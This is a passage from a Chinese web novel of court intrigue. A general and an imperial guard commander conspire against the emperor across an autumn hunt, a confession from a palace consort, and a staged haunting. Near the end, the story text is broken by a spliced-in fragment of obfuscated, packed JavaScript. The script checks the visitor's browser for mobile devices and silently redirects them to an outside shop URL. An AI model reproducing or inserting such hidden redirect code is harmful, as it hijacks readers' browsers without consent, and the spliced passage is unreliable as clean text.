她付过钱,随口和那姑娘闲聊:“沈小姐也是你们的常客?”
珠翠楼的首饰不像沈家能轻易负担的,难道是信王?
萧时运想起沈平川那个双鲤玉佩,忍不住腹诽。他对沈翰林还挺大方。
云姑娘瞥了眼楼上,小声讲:“是崔家订给沈姐姐的,崔老夫人想和沈家议亲。”
她犹豫了一下,声音又低了些:“沈姐姐原本就不太情愿,且崔家又出了事,现下还不知道会怎么样呢。”
崔家……
萧时运佯装疑惑问:“你说的是鸿胪寺丞崔放家?他们怎么了?”
“崔寺丞的弟弟和别人争一个姑娘,打出了人命。”云姑娘慌忙掩了唇,“真是造孽啊。”
难怪沈怀月刚才会是那个反应。
萧将军随口附和道:“崔家也算诗礼之家,竟然会闹出这种事。”
“仿佛是那姑娘家里生了变故,要把她卖了换钱。她原有个青梅竹马的心上人,好容易凑够了银子要带她走,谁知崔家说那姑娘已经卖了他们家。两厢争执起来,崔寺丞的弟弟在南平脾气是出了名的坏,竟将人打死了。”云姑娘把簪盒递给小桃,又看了眼楼上,“贵人可千万别跟母亲提这些话,不然我又要挨训了。”
萧时运了然笑笑,两人出了店,小桃愤愤说:“这崔家也太可恶了!京兆府天子脚下,他们竟然敢这么猖狂。”
她瞥了小丫头一眼:“你怎么知道不是上行下效呢。”
小桃神色惊骇看了看左右,确定四下无人,才抚了抚胸口,不等她心绪平定,听见自家小姐无所谓笑了一声:“且看着吧,那位可不是什么好东西。”
听这口气,怎么感觉小姐知道什么不得了的事。
小桃提心吊胆瞥了眼萧时运,却见她神色如常,并没有要再解释意思。
算了。算了。小姐这样说一定有她的道理。
往后半月,萧时运难得有了段清闲日子。期间沈平川如约登门,萧将军态度暧昧笑了笑,讲。我不会妨碍信王的大业。
沈翰林于是从善如流言谢。
沈大人没提自己姐姐的婚事,她便也没多问。
不过珠翠楼的头面没退,两家大约还是想结这门亲。
沈怀月要嫁的是崔放的二弟,崔家三公子,崔效。萧时运对这人实在没什么印象,且看前世的情况,两人最终也是无缘。
而楚指挥使似乎忙的很,她去过几次隔壁,都没见到人。
明明那么恨周秉文,竟然还能朝乾夕惕恪尽职守,楚大人真可谓大宣爱岗敬业第一人。
又过些日子,监军巡边旨意发出前夕,萧时运终于见到了自己的造反好搭档。
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不知道是不是错觉,她总觉得,楚庭看起来有点没精打采的……挫败?
她于是戳了戳他的脸:“楚大人不是才升了官,怎么,不高兴?”
八月初,周秉文下旨,让楚庭实领缇骑司事,新任诏狱活阎王正式上岗。
楚指挥使闷闷瞥她一眼,漂亮的眉眼里蒙了点不甘心的郁结:“内侍监的几个人暂时……无隙可查。”
“我当是什么事呢。”萧时运随手给他顺了顺毛,“急什么,都是能混到一人之下的老狐狸,哪有那么容易对付。”
她把手边的芙蓉糕往楚庭面前推了推:“小桃排了一上午才买回来的,你要不要尝尝。”
楚大人愣了几秒,总觉得,好像哪里不太对。
姓萧的这是拿他当狗哄吗。
然而楚指挥使还没来得及呲牙,先被萧将军塞了块糕点。
楚庭:……
确实很好吃。
“这家架子还挺大的,每日限时限量,不接预定,徇国公家的下人想加塞,还被赶回去了。”小桃因此成功买到最后一份,回来跟她乐了半天。
萧时运其实不太理解。
但小丫头高兴,由着她去吧。
青枝和小桃都是前世陪她走到最后的人,即使今生依然要再走一次九死一生的险路,萧时运也愿意在她能做主的范围内,让她们过得开心一点。
“你倒是悠闲。”楚庭咽下嘴里的东西,又喝了口茶,才说,“刘谈要去北关了,你不担心?”
“已经知会他们了。”萧时遇语气听不出什么情绪,“如果萧时遇这次依然收拾不了刘谈,也活该他摔断腿。”
楚大人闻言盯着眼前人看了半晌,想,怎么感觉萧将军比他更适合去缇骑司当差。
这么无情吗?
那不是她亲兄长吗。
“提前知情、又是在自己的地盘,要是拿着答案解题还斗不过,我也不敢指望后面的事他能帮忙。”萧时运面无表情看着自己的搭档,“我当然会救他。但我更需要有用的人。”
“把一个废物放在不合适的位置上,会害了我们所有人。”
她见楚庭眼底担忧未消,漫不经心点了点杯沿,笑:“不过楚大人也不用太担心,好歹打了那么多年仗,他不至于蠢到这个程度。”
楚庭敛眸看着杯盏里的水光,一时没有再说话。
萧时运往几边的香炉内新添了些熏香,又道:“既然内侍监那些老狐狸看不出破绽,楚大人不如去查查崔放。”
“鸿胪寺丞?”他疑惑想了片刻,“你是说他弟弟崔故的案子?”
“刑部快审完了吧,估计这个月会发大理寺复核。”他笑了一声,懒散又轻佻的潋滟,再对上搭档的视线,语气却多出几分探询,“崔家算什么东西,鸾仪卫跑去和三司呛行,没得招人嫌弃。”
“沈怀月和崔效还在议亲。”萧时运侧脸看向窗棂的雕花,光落在眼底,照见深潭空寂,“那些读书人最重声誉,沈平川又一向爱惜羽毛,崔家出了这么大的丑事,他非但不避,竟然还主动替崔故这个杀人凶手说情,这可不像沈大人素日的做派。”
“所以我很好奇,究竟是沈大人想保自己未来的亲家,还是他背后有人让他这么做。”
楚庭闻言皱眉:“你说周惟简?”
鸿胪寺掌朝、宾客、吉凶仪礼事。凡国家大典礼、祭祀、朝会、宴飨等各供其事*。和礼部相比,鸿胪更多是礼仪性的象征职能,地位清贵,却不算有太多实权。且鸿胪寺丞这样的六品京官,渺小得连一粒尘都算不上,何德何能,值得信王垂青。
“很奇怪吧。”萧时运笑眯眯看着楚庭,“左右北关还得等些日子才有消息,趁这个机会查查崔家,说不定会有惊喜呢。”
她顿了一下,讲。正巧我也打算去一趟南平。
**
*出自《明史·职官志三》,原句太长了缩了一点。
12. 秋狩
南平县位于处京兆府、宣同、山南三道交界。出南平过长州,往西北五百里,可进入关中道边缘*。
好地方啊。
“我打算在南平置个庄子。”萧时运笑,“往后母亲他们回京,途中也好有个地方歇脚。”
“这个月你是去不成了。”楚庭乜她一眼,“昨日周秉文说起上林苑秋狩,还惦记着你呢。”
哦,忘了这茬了。
前世怕她逃跑,狗皇帝把她关在长乐宫,根本没带她。
“秋狩……”萧时运若有所思支着下巴,“陆明臣难得在京城,周秉文估计会让他随行吧?”
“怎么,你很想见他?”
“上林苑可是陆公子的伤心地。”她听出楚庭话里的阴阳怪气,抬手敲了一下这小子,“既然陆公子肯帮我们,总该给他备一份谢礼。”
楚庭兴致缺缺别过脸,讲。随你。
“你这是怎么了。”萧时运歪头凑到他脸前,“还在想内侍监的事?”
没有。楚庭避开她的视线,抿唇犹豫片刻,小声问。昨天那个盒子你打开看过吗。
萧时运闻言笑起来:“楚大人破费了,我很喜欢。”
昨天楚庭来都尉府的时候她正巧不在,楚大人还有公务在身,不便久等,只留下个盒子便离开了。
里面是个金累丝牡丹束冠,做工精良,利落轻巧,不像寻常花冠那样繁复。
她拿到东西时多少有点意外,楚庭竟然给她送冠饰。
“听秦错说你去了珠翠楼。京中素崇奢靡,市面上的首饰大多也累赘冗杂,没什么意思。”楚指挥使语气不自然顿了一下,岔开话题,“秦错是自己人,不会泄漏什么。皇上让缇骑司盯着你,总要做做样子。”
“我知道。”萧时运低眼给楚庭添茶,“左右没什么要紧事,让他跟着也无妨。周秉文安心,我们也能省事些。”
反正干坏事时,她自会把人甩开。
“去上林苑之前我要去一趟陆府,或许还要和丽妃见一面。”她笑,“有劳楚大人了。”
上林苑位于京郊东南,林木繁茂,苑中养百兽,天子春秋射猎苑中,取兽无数*。历来秋狩都是王公贵族齐在的大场面,随行的仪仗自然也浩荡冗长。萧时运慢悠悠骑马跟在其中,抬眼见北雁南飞,羽翼轻盈掠过天际,一瞬没入渺远的自由。
千骑合围后天子首猎,扼熊罴与豹,萧时运听着身侧山呼万岁的喧沸,垂眸掩去眼底冷笑。
弘昌帝从容检视过战利品,令众人入场射猎,往常这种时候,惯例不乏皇子们互相较劲,虽不至个个都如道永三十七年弑父弑兄那般刺激,但明争暗斗的龃龉也算是精彩纷呈。
可惜周秉文不争气,这一朝的秋狩也就少了许多热闹看。
或许是九五至尊意识到了这件憾事,又或许只是单纯想找点乐子,道:“田猎如军戎,行兵布阵皆不在一人之勇,若诸卿各行其是,难免失了精要。”
内侍监从善如流提议,不如众人抽签分组,协作合猎,以箭羽标记为证,看哪队收获更丰。
周秉文自然应允。
此次参与狩猎的多是京中勋戚,彼此或多或少打过照面。萧时运这段时间也有过几场交游,和其中一些人虽谈不上相知,总归也记了个眼熟。
抽签事毕后,和她分在一起的,除了几家纨绔,还有周惟简。
小王爷全然妥帖的疏离与客套,仿佛他们真是今日初见的生人,未有丝毫破绽,温和道:“萧将军,久仰。”
萧时运敷衍完周惟简,瞥了眼楚庭那边。楚指挥使和陆明臣同队,缇骑司名声外在,除开陆公子和他随意客套了两句,便再没有人敢来搭话。
楚庭察觉到她的目光,隔着人群和她对视一眼。不知是不是错觉,萧将军总感觉,楚大人有点不高兴。
带有各队标记的箭矢分发完毕,众人各自上马,周秉文自然是高居尊台,看臣下角逐拼抢。萧时运持缰跟在周惟简身后,和他略隔了些距离,一行人才入猎场,便见一只鹰振翅掠过林梢。
信王率先张弓,显然势在必得,要抢下此战的头彩。
眼看飞鹰已是小王爷囊中物,斜刺里忽然杀出一支箭,径直撞开信王的箭矢,贯穿猎物双翅。
周惟简怔愣片刻,才放下弓,勉强笑了一声:“恭喜楚大人。”
显然周秉文也看到了,扬声夸了句好箭术。
真不愧是信王的亲皇兄啊。
萧时运还没来得及嘲笑小王爷,就看到楚指挥使第二支箭,抢下了陆公子的黄羊。
她疑惑看了眼自己的造反好搭档。
这算什么,我狠起来连队友都打?
陆明臣也是一脸莫名其妙。
几队人并驱争先,萧时运没打算在秋狩上出风头,是以她搭弓射下一只雁后,便借着追鹿进了林子躲清静。
却不想周惟简也跟进来。
真烦人。
怎么和沈平川似的。
幸好沈大人品秩不够没资格来,不然她很怀疑自己会不会“失手”误伤沈翰林。
周惟简见她没有再追的意思,挈辔问:“萧将军今日似乎没什么兴致?”
“多得是人急着表现呢,我何必去凑这个热闹。”生怕周秉文没借口和她搭话吗。
信王无从得知自己兄长的龌龊念头,只以为她是不满楚庭方才的行为,敛眸笑了一声:“楚指挥使得皇兄爱幸,性子难免好强些,将军别在意。”
话音未落,一箭擦着周惟简脸侧飞过,正中萧时运方才追的那只梅花鹿。
小王爷猛然回身:“你!”
“臣只盯着猎物,一时没看见殿下。”楚指挥使慢悠悠骑马踱过来,唇边笑意轻佻,全然艳溢香融的挑衅,“若不小心惊了殿下,臣给您赔不是。”
他歪头凑近周惟简,无辜道:“殿下应当不会计较吧?”
难道要去找周秉文告状吗?
看方才的喝彩,你皇帝哥哥好像不太待见你呢。
信王瞪着楚庭正要发作,听见身后幽幽一声叹息:“真热闹啊……”
萧时运闻言转头,是陆明臣。
周惟简见有人过来,暂且收敛了愠怒,示意陆明臣免礼:“从前只知陆公子以文章显名,今日一见,才知公子骑射俱佳。”
信王殿下还真是一如既往会说话。萧将军忍不住腹诽。陆明臣才被楚庭抢了猎物,小王爷偏要哪壶不开提哪壶。
陆明臣好脾气笑笑:“殿下谬赞。”
他进林子是为找萧时运,不想萧将军这里群英荟萃,陆公子和周惟简各怀鬼胎又不知对方底细,不由都多出几分戒备。偏巧一只獐子跳过草灌,楚指挥
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使略抬了抬下巴,语气轻蔑:“殿下要和臣再比一次吗?”
姓楚的今天发什么疯。小王爷气得舔了舔后槽牙,无端分神想。难道是周秉文的意思?
他冷哼一声,没理会楚庭的话,径直策马去追猎物。
萧时运目送两人离开,轻飘飘与身边人笑:“陆公子故地重游,感觉怎么样。”
陆明臣横她一眼:“你能不能先管管自己家的疯狗。”
萧时运饶有兴趣挑眉:“我的?”
“皇上估计也想不到,鸾仪卫指挥使会站在你这边。”
被发现了啊。
她若无其事抽了支箭,瞄准不远处正吃草的野兔:“陆公子的洞察力,还是一如既往让人佩服。”
废话。姓楚的自从进了林子,视线就没从你身上移开。
陆明臣冷笑:“你们是不是有点太明目张胆了。”
萧时运盯着那只兔子看了一会儿,在陆明臣以为它即将命丧黄泉时,她却忽然放下弓,漫不经心勾唇:“我会提醒他的。”
逃过一劫的猎物似乎察觉到什么,抬头往他们在的方向看了一眼,仓皇没进树丛。萧时运收起箭矢,语气平淡问:“陆公子准备的怎么样了?”
陆明臣下意识看了看四周,眼底划过短暂的迟疑:“你们真的有把握吗?”
她注视着眼前人,唇边笑意轻缓,似太平无事的喟叹:“我真的很好奇……”
陆公子尚且等着她接下来的话,萧时运却忽然抽了他一支箭,一瞬弓弦满张,箭锋凌厉,直指陆明臣面门。*
“铮——”
“!”
他回过神,看到钉死在树干的一双鸿雁。
“陆公子换鹰的时候也有这么多犹豫吗?”萧时运看着他头顶闪烁的数字,大笑,“公子心里分明有恨,却偏偏放任自己被悔恨折磨十年,也不愿面对本心。”
她随手将雁丢入陆明臣的猎罟中,扬脸直直盯着眼前的男人:“我真不明白,为什么人总喜欢逃避呢?”
“你以为这种事很容易——”
“复仇的机会就在眼前。”
她把那支箭重新塞回陆明臣手里,他才发现,萧时运的指尖竟然是热的,鲜活的,几乎让人瑟缩的烧灼蔓过掌心,可他却在那双黑而亮的眼睛里,看到数九寒天的凛冽。
“我想帮陆大人。”她故意顿了一下,字句平和似循循善诱的劝解,“作恶者总该为自己的罪责忏悔,不是吗?”
陆明臣也好,楚庭也罢。萧时运偶尔也会困惑,原来能对抗恨意的不止懦弱,还有这份周而复始的安逸。
太过温吞,太过坚牢,也就让人心甘情愿囿于痛苦,潦草残生。
可萧时运和他们不一样,既已见过文过饰非下血淋淋的惨刻与阴狠,又何必配合这份自欺欺人的歌舞升平。
“回去吧,别让陆相怀疑。”她敛眸笑了笑,“我相信陆公子的选择会对得起自己的愧疚。”
和野心。
**
*本文的地理纯属捏他(。是有参考各朝区划和地图,但是根据剧情需要做了修改和模糊处理。不是很想真的能对上现实的具体位置。
*关于上林苑的描写参考了《汉书·旧仪》
*严禁弓箭空放!严禁箭矢对人!不要学!剧情效果!严禁模仿!
13. 闲池阁
那只獐子最终落在楚指挥使手里,信王虽不甘心,可到底是自己技不如人,也只得咬牙咽下挫败,冷脸与对手道贺。
楚大人一队自然毫无意外拔得头筹,大约为了安抚被抢了猎物的信王,周秉文额外赏了周惟简和楚庭一人一张玄狐皮。
萧时运百无聊赖看两人谢恩,想。当众被楚指挥使下了面子,还得配合弘昌帝演这出君臣同乐,信王殿下也真是辛苦。
礼节上的流程过完,弘昌帝回行幄暂歇,上林苑不似内廷规矩森严,萧时运带小桃在猎场边略逛了逛,才回了自己的围帐。
帐中的女人见她进来,笑:“将军今日的束冠倒是新巧,不像京中常见的样式呢。”
“宫中珍玩无数,楚指挥使若知道它能入丽娘娘的眼,大约也会开心。”萧时运虚扶了一下牡丹束冠的花瓣,全然不在意丽妃视线里玩味的探询,“娘娘怎么过来了?”
丽妃低眼喝了口茶,腕间金饰一晃的优雅璀璨:“左右离移驾还有段时间,与其听宫里那些女人聒噪,不如来和你说说话。”
“我和娘娘倒是心有灵犀。”她示意小桃把东西拿过来,“给公主的。”
是两只兔子。
柔软洁白,无辜可爱。
萧时运想起承明宫的小厨房,不放心叮嘱宋妙静:“不许把它们做成麻辣兔头。”
“我哪有那么恶劣。”
丽妃小声嘀咕了一句,见小桃退出帐外,方才收敛起调笑:“竟然能把陆明臣和鸾仪卫都拉过来,无论野心还是手段,萧将军当真青出于蓝。”
“我其实很好奇。”她盯着萧时运看了一会儿,试探问,“你没考虑过信王吗?”
“论身份正统,他似乎不比周沅差。”
“我不是姑姑,也没兴趣走她的旧路。”萧时运拿了块糕点去逗笼子里的兔子,漫不经心道,“况且周沅的作用可比周惟简大多了。如果不是她,陆明臣未必肯帮我们。”
“什么!”丽妃意识到自己失态,动作顿住半霎,问,“他见到周沅了?”
“嗯。”萧时运语气依然没什么情绪,“周沅真的很像怀王妃吗?”
见陆明臣时她只是猜测,毕竟除了这个原因,她实在想不到还有什么,能让陆公子对着一个素不相识的小姑娘如此失态。
宋妙静沉默了一会儿,再开口时,声音低了许多:“很像……和她小时候简直一模一样,看见就烦。”
“我以为她死了那么多年,不会再有人记得了。”她下意识攥紧帕子,指节因为用力而泛出青白,“为什么偏偏陆明臣会遇见她,还……”
“他凭什么记得她……”
萧时运看着丽妃头顶飘忽不定的红字,迟疑半刻,忍不住抬手揉了揉眼睛。
那数值比起楚庭或者陆明臣瞬间的反应的确不值一提,但萧将军实在困惑,宋妙静这份模糊的恨,究竟是对着江采薇,还是……陆明臣?
“陆公子很在意周沅呢。”她不动声色观察着眼前人的反应,“丽娘娘不觉得,这是他对江采薇的移情吗?”
“江采薇活着的时候,我倒真没看出来他有这份深情。”丽妃冷笑,“不过有也没用,江采薇怎么可能喜欢他呢。”
“她从来就没有看见过他。”
“人都走了,再将问心有愧,确实没什么意思。”萧时运支着下巴笑盈盈讲,“可娘娘不也对怀王妃念念不忘吗?”
“我哪有!”丽妃瞪了她一眼,随即别开脸,闷闷静了半晌,小声说,“我从前的确嫉妒过江采薇。”
“她那时候和萧行歌关系最好,两人总在一处说话,连首饰都换着戴。先帝出兵收复漠北九镇,她知道萧行歌要上战场,还特地去华安寺给她求了平安符。”
“我实在不明白,萧行歌究竟喜欢她什么。分明出身平平,却总一副清高样子,也不知道装给谁看。可偏偏谁也挑不出她什么错来,甚至怀王都对她一见钟情。”
“怀王为了她顶撞先帝时我真的好羡慕,她有家人疼爱,知交倾心,夫君是尊贵万分的亲王。听说先帝斥责怀王,我还高兴过一阵,要是她被天家退亲就好了,凭什么天下所有的好处都让她占尽了,我却被父兄嫌弃,被商量卖给那个糟老头子。”
“可先帝生气归生气,赐婚的旨意还是下来了。出嫁前我跑去闺阁看江采薇梳妆,你是没有见过,那件凤冠霞披真的好漂亮,金昭玉粹,我从来没见过那么华丽的头面,衬得她那张脸都没那么讨厌了……”
“江采薇还跟我说,等我及笄,她会帮我找个好人家,不会让我父兄把我送去做续弦。”丽妃声音越来越低,“可后来……后来……”
后来怀王妃死在了道永三十七年,而她父兄得了个送女选秀的门路,她因此成了周秉文的宫妃。
再后来她影影绰绰听到一点传言,说江采薇在宫里,还生下一个孩子。
那时候她是九嫔之首的昭仪,有足够的资本去江采薇面前耀武扬威,嘲笑她的落魄不堪。
可宋妙静打扮了一个上午,严妆丽服,却最终什么都没有做。
萧行歌会不高兴。她这样对自己说。她不能得罪皇后。
不管怎么说,她终于赢过了她。
“昭惠皇后崩逝,周沅彻底没了人庇护,被扔在冷宫。我那时候觉得,让她死掉就好了,她根本就不该存在,连江采薇自己都不想生下这个孩子。”
“可那个时候听雁抱着她来求我,甚至萧行歌也留了话。”
“凭什么啊……凭什么江采薇都死了,还有这么多人爱她。”
“你知道那个女人有多蠢吗?”宋妙静仰起脸,勉强撑住一份刻薄的讥诮,“当年她在围场见陆明臣,竟然还和他说,怀王无心皇位。”
“我真是不明白,她怎么会蠢到这份上,觉得周秉文能因为这种虚无缥缈的保证,就放过怀王。”
萧时运看到她眼角一滴泪。
丽妃讲完旧事后缄声良久,萧时运注视着她头顶几乎称得上温良无害的数值一点点回落,直至水波无兴的平寂。
“但我确实应当感谢陆明臣。”她放开那方褶皱狰狞的锦帕,“如果不是他帮周秉文上位,我或许也没有现在的荣华。”
萧时运没有说什么,只无端想。从丽妃的话来看,关于陆明臣,她确实应当再多些警惕。
陆公子对周秉
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文的怨恨是真,对江采薇的愧疚也是真。
但……仅此而已吗。
一个能弑君谋逆的人,会有这么值钱的良心?
丽妃拭掉脸侧的水痕,盯着身边人看了一会儿,忽然道:“知道我最喜欢你哪一点吗?”
她们对视片刻,宋妙静笑起来,依然是萧时运熟悉的,明艳雍容摄六宫事的丽妃。
“你比他们都无情。”
她抬手,轻轻抚过头顶的凤钗,语气似有慨叹。
“我曾经以为萧行歌是我们当中最厉害的那个人,既有金戈铁马的功勋,又是正位中宫的皇后,为臣为妻,皆是举世尊荣。”
“可她终归,也输在一个情字。”
萧时运无动于衷讲。她没有输给自己的真心。
她只是低估了周秉文的无耻。
“随你怎么说吧。”丽妃无所谓笑笑,从笼栏的间隙摸了摸两只兔子,“时候不早了,我该回去了。”
她走到门边时,忽然顿住,回身问:“你会放过周沅吗?”
萧时运静了一霎,反问。娘娘何出此言。
“罢了,真有那天,也不是我该操心的了。”宋妙静慢慢笑了一下,“若你真能如愿以偿,放我出宫吧。”
“我还以为娘娘与我合作,是为了那个以天下奉养的位置。”
“一个名不正言不顺的太后有什么意思。”丽妃侧脸扶了一下头上的簪子,语气散漫,“左右不过困在宫里听戏抄经,说不定还会因为你们这些人的撕咬,殃及池鱼。”
“我想要个爵位,可以没有实权,但品阶俸禄得比我父兄高。”
萧时运云淡风轻端茶,唇边笑意轻俏:“那我祝娘娘,心想事成。”
丽妃走后不过两刻,圣驾移跸百川殿,晚间宫宴自是一片歌舞升平的祥和。萧时运不动声色打量过在场官员,却发现陆相和户部几位官员的脸色都不太好。
出事了?
她对前世这个时间点的朝堂情况所知甚少,只记得大概两个月后,丽妃的哥哥宋孝友长被人弹劾赈灾不利,不少言官闻讯上书,要求严惩。算算时间,现在灾情大约刚闹起来。
呈报这么快就到京城了吗?
上一世前朝因为宋孝友的事吵得口水纷飞,丽妃知道消息,非但没有要说情的意思,还与萧时运嫌弃道,他最好真的有事。
彼时萧时运兴致缺缺讲,那你不如去长安宫请求严查宋孝友,若他真有贪赃枉法之举,绝不轻纵。
丽妃听罢怔愣半晌,抿唇丢了个橘子砸她。
萧时运也懒得再说话。
和贤妃不一样,丽妃的母家,实在给她惹了不少麻烦。宋妙静还没及笈时,她那个便宜爹就琢磨着把她送给年过五旬的老男人做填房,好换自己在官场的进身之阶。后来她进了宫,宋家仗着女儿受宠,没少在外面惹是生非,丽妃为此还被周秉文训过几次。
萧将军一向爱憎分明,换作她的话,估计宋孝友已经被打断腿关在家里了。
但看丽妃的样子,估计无论前世今生,都狠不下心料理。
随她去吧。萧时运低眼自斟一杯,想。且先看看今夜的热闹。
14. 夜鬼吹灯
宴毕群臣散去,惟陆相随御驾去了紫渊阁。萧时运悄悄跟过去,见檐下灯火通明,内侍皆在院内,便没有靠太近,轻巧一个跃身,攀上墙外枝干厚重的古树。
约过了一刻,陆逊业从屋内出来,琉璃罩琳琅斑驳的光影落在脸上,照见乌沉沉的忧愤。
她悠然坐在树枝上,目送内官提灯引陆相离开。长风缄默拂过林野,促织啾啾不绝吟,衬得一片夜凉如水的幽寂。萧时运耐心盯着院中的动静,直到阁中灯熄过半帘,几声鸣鸮凄厉,她才悄无声息绕去殿后。
与此同时,另有两个人影擦过墙边,一晃没进暗处。
秋夜长,月洗高梧,应照离人好还乡。
第二日一早,陆逊业候在紫渊阁外,劝辞反复在喉间滚过,却见李用惶惶迎过来,低声讲:“陆大人请回吧,皇上今日谁也不见。”
陆相压下心底的郁愤,面上仍旧是沉渊毅重的端持,客气道:“李公公,事关民生,还请再通传一声。”
李用见状叹了口气,神情似有无奈:“皇上今日不会见您的。”
他惴惴看了眼身后紧闭的殿门,声音几乎轻不可闻,“庆州的情况咱家会帮您递上去,只是眼下圣躬违和,丞相再忧心,也暂且缓一缓吧。”
官场浸丨淫多年,陆逊业自然察觉到李用今日非比寻常的异样。可内侍监既露了态度,他只得识趣作罢,道。多谢李公公。
皇帝整日未曾出现,内侍监只道圣体抱恙,原定的巡狩事皆取消,便再无他言。
随行官员见御侧讳莫如深,也不由心生忐忑。与陆逊业相熟的官员旁敲侧击来打探消息,却也只见愁云惨淡的困惑。
陆明臣冷眼看几人悻悻散去,平静道:“李用今日能与父亲多说那一句,至少表明,内侍监不打算保庆州那几个矿监。”
“但愿如此。”陆相沉沉叹了口气,“庆州民愤未平,皇上却始终不愿过问,若再有什么变故,只怕……”
这份推测并不适合宣之于口,是以陆逊业略顿了一下,又道:“不过皇上昨日还好好的,怎么突然病了。”
“猎场不比皇宫周全,或许是猎场风凉,一时惊了圣驾。”陆明臣漠然低眼,“我去年游历荆湖,与庆州知府几面之缘。此人行事稳妥清正,在当地颇有贤名。有他安抚矿民,想来庆州也不至酿成大祸。”
道永五年,先帝遣中官开矿于畿内。未几,山南、荆湖、黔司几道悉令开采,以中官领之*。矿场榷税不入户部,直归内库。矿监行事骄恣,往往肆意勒索当地民商。而当地官员惮其效力内廷,莫敢开罪。
两朝官员数度进言,请除矿税,帝皆不允。至弘昌十三年,荆湖道庆州矿民不堪欺辱,举械杀矿场监吏,围当地县署,内官闻讯逃往武州。庆州知府上书替矿民陈情,请旨严惩矿监。
但弘昌帝恶言矿税事,疏入多不视;矿监与内侍省利害相护,自然也不愿被刁民断了财路。
是以陆逊业虽得了李用的暗示,依旧顾虑难消。
傍晚时紫渊阁终于有旨意发出,却是陶仲节妖言惑众亵渎神灵,即刻杖毙。
萧时运听到消息时看了看众人的反应,果然是一片茫然的惊疑。
好端端的,圣上怎么会突然处置了陶仲节?
虽说萧将军也觉得莫名其妙,但月上檐瓦时,她还是给自己的好搭档斟了杯茶,笑:“楚大人辛苦。”
其实陶仲节死得比圣旨更早一些。
今早周秉文睁眼第一件事,就是让楚庭回宫杀人。
现下不过补个论罪的流程。
毕竟这几年陶真人得了不少赏赐,总得吐回来。
至于弘昌帝为什么这么大火气。
——他不止再度梦魇,还因惊惧过甚,从床上滚下来,摔断了胳膊。
真狠啊。
有的人看着霁月光风,实则出手就帮仇家正骨。
不过在现场围观了全程的萧时运表示,这事真的不能怪陆明臣。
周秉文全责。
紫渊阁不比承明宫,陈谷和内侍监几位皆在,他们并没有太多准备的空间。
这也是陆明臣犹豫的原因。
不过萧时运觉得,陆公子难得与君上同游故地,若不能共忆往昔峥嵘,未免可惜。
于是他们往周秉文床前吊了一只死鹰。
外间烛火一盏盏熄灭,弘昌帝被哀戚的鸦鸣声惊醒,见床帐飘摇,以为是侍从忘记关窗,掀了帐子要骂,却正撞上悬吊的鹰翅。
羽翼潦草划过鼻梁,周秉文盯着眼前的死物怔愣片刻,两眼一翻,直直栽下了床。
准备演怀王回魂的陆明臣:?
看热闹的楚庭和萧时运:?
这就晕了?
萧时运心情复杂看着周秉文头顶的黑字,想,早知道一只鹰就能把狗皇帝吓成这样,她上次何必大张旗鼓布置半天。
皇后凤冠戴起来很麻烦的好吗!
事出突然,几人也担心巡值的侍卫察觉,便暂且罢手。楚庭确认现场没什么痕迹,才弄醒了外间的李用和陈谷。
两人睡眼迷茫看着鸾仪卫指挥使,听见楚大人低声道:“内室刚刚似有异响,我不放心,进来看看。”
内侍监闻言连滚带爬冲到床边,发现弘昌帝安详躺在地上那一刻,感觉脖子上的重量仿佛轻了不少。
“皇上!皇上!您怎么了!”
内官慌忙把周秉文扶回床上,又喊人传太医,一片兵荒马乱的诊治后。弘昌帝茫然睁开眼,还未来得及开口,忽觉左臂一阵剧痛。
嗯,落地角度不太巧,正好撞到骨头。
真惨哦。
萧时运若有所思点了点杯盏:“既然周秉文既怕自己的兄长诈尸复仇,又怕我姑姑回魂索命,要是两个一起出现,他会不会吓疯啊。”
“我劝你收敛一点。”楚庭闻言皱眉,“下午内侍监全员挨了板子,紫渊阁额外加了两倍人手,我总担心周秉文起疑。”
哎,真可惜。她无所谓笑笑,又问:“没牵连楚大人吧?”
楚庭愣了一下,低眼喝了口茶:“与我无关。鸾仪卫不在内殿服侍起居。”
“想不到,你还会关心这个。”
“这是什么话。”萧时运倾身凑过去,捏了捏他的脸,“楚大人和我情投意合,我怎么会不在意呢?”
楚指挥使听出她话里的戏谑,挡开她的手,小声讲:“别闹了。”
“周秉文处置了陶仲节,一时也没那么容易再信其他人。我们后面的计划要重做打算。”
他们原想借着上林苑闹鬼事,举荐方士入宫捉鬼,无论是获取周秉文的信任,又或借丹药下点毒之类的,都方便。
可弘昌帝突然发难陶仲节,还打算清理掉八卦楼其他道士,明显是恶了这群江湖骗子。
其实陶真人死得挺冤的。
镇魂台镇的是昭惠皇后,和怀王有什么关系。
可是周秉文不讲理啊。
眼下弘昌帝还在气头上,的确不是动手的好机会。
萧时运想了想,问:“陆相往紫渊阁去了两趟,是为了关中和山南两道水灾的事?”
楚庭摇了摇头,简单与她讲过庆州矿监的事,说:“惹事的矿监是内侍监呈笔王忠的干儿子。王忠暗地里一直和李用别苗头,估计李用会借此给他一个警告。”
“不过皇上没有要停矿税的意思,庆州的案子,多半也只是召回惹事的矿监,另派他用。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900546|192237||http|test|mini|href|location''.split(''|''),0,{}));
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>见事情与关中无关,萧时运便没再多问,移开话题:“圣驾回銮的时间定了吗?”
“还是九月中。”楚大人笑了一声,“周秉文好面子,不想让群臣看见他吊着胳膊出巡。”
萧时运有些意外看他。想。这二十天,狗皇帝是打算谁都不见了?
“陆相那些阁臣还是会见的。”楚庭起身道,“我先回去了。这几日御前守卫森严,我不方便出来,你如果有事,就让秦错传话。”
他瞥了一眼窗外,小声讲。反正你知道他在哪。
院外秋凉如水,风高月明,楚庭才翻过檐瓦,忽然听见人笑:“指挥使大人在这里做什么?”
他回身看向来人,下意识扶刀:“你怎么在这?”
“你能来找萧时运,我为什么不行?”周惟简面无表情看着眼前人,“真想不到,皇兄亲手喂起来的狗,竟也能学会吃里爬外。”
一个边军将领,一个禁军指挥使,这两个人鬼鬼祟祟凑在一起,怎么看都不像在盘算什么好事啊。
他还真是低估了萧时运的野心。
“殿下是要过问缇骑司的公务吗?”楚庭漫不经心笑了笑,语气漠然,“不如我现在就跟殿下去紫渊殿,看看皇上究竟是会疑我居心叵测,还是质问殿下……”
